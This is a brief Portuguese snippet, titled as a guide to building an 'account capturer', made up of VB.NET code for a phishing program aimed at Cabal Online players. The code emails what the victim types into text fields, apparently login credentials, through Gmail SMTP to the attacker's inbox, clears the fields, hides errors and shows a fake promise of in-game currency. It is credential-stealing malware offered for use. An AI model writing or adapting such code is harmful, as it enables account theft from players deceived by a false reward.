Criando um acpturador de Contas

Dim MyMailMessage As New MailMessage() Try MyMailMessage.From = New MailAddress("seuemail@gmail.com") MyMailMessage.To.Add("email_bonito@hotmail.com") MyMailMessage.Subject = "Cabal Online -" + TextBox1.Text MyMailMessage.Body = TextBox3.Text + TextBox2.Text Dim SMTP As New SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("seuemail@gmail.com", "senhaaqui") SMTP.Send(MyMailMessage) TextBox2.Text = "" Catch ex As Exception End Try MsgBox("Pronto , Se você fez corretamente , em até 2 dias seus Gmaxx vão chegar....")